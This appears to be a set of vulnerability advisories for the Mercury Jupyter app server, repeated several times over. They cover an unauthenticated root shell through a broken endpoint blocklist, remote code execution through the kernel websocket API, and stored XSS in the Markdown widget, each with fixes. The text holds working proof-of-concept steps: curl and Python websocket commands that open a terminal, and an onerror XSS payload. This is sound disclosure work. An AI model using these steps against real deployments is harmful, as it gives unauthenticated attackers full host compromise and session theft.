Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

